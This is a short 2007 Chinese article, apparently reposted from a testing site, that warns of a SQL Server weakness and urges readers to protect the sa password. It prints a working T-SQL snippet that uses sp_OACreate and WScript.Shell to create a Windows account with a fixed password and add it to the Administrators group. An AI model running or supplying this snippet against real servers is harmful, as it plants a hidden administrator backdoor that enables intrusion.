SQL Server的安全隐患:不要以为黑掉的只是SQL SERVER而已。

发表于:2007-05-25来源:作者:点击数: 标签:安全sql以为不要隐患
SQL SERVER存在着非常严重的 安全 隐患。sa的密码就像Administrator的密码一样重要。 假如别人获得了 数据库 超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户: declare @object i

SQL SERVER存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。

假如别人获得了数据库超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户:

declare @object int
--创建WScript.Shell
EXEC sp_OACreate 'WScript.Shell',@object OUT
--运.net user iamhacker opendoor /add
--添加一个名字为iamhacker,密码为opendoor的用户
EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
--把iamhacker添加到Administrators组中
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
--把iamhacker从User组中删除
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'

我已经尝试过了。。实在太恐怖了。

上面的语句很短。核心是能够调用平台命令 net 。

其实现方法是SQL SERVER调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法:Run。(注意,一般SQL SERVER都是配置在SYSTEM的权限下运行的。也就是说,Run所调用的程序也是具有SYSTEM的权限。)

(相关的实验是,调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在)

WScript.Shell的隐患其实已经在各个方面很显著了。想不到现在竟然在Sql Server上也有相关的问题。

所以。大家一定要注意保管好sa的密码。不要随便被人黑了哦。。。

 

 

原文转自:http://www.ltesting.net